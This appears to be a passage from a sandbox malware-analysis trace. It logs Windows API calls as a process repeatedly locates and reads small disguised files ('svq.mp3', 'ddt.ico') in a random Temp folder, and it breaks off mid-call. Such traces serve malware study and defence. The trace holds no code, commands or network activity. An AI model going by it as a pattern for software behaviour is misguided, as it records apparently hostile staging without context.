[0071.786] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.786] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.786] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.786] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.787] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.787] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.787] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.787] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.787] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.787] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.787] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.787] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.787] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.787] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.788] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.788] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.788] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.788] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.788] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.788] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.788] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.788] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.788] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.788] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.788] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.789] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.789] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.789] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.789] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.789] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.789] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.789] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.789] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.789] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.789] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.789] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.789] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.790] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.790] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.790] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.790] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.790] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.790] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.790] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.790] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.790] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.791] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.791] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.791] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.791] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.791] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.791] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.791] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.791] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.791] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.791] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.791] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.791] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.792] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.792] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.792] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.792] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.792] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.792] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.792] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.792] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.792] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.792] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.793] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.793] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.793] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.793] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.793] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.793] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.793] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.793] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.793] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.793] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.793] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.794] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.794] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.794] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.794] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.794] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.794] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.795] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.795] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.795] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.795] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.795] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.795] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.795] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.795] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.795] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.795] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.795] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.796] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.796] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.796] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.796] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.796] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.796] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.796] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.796] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.796] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.796] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.796] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, 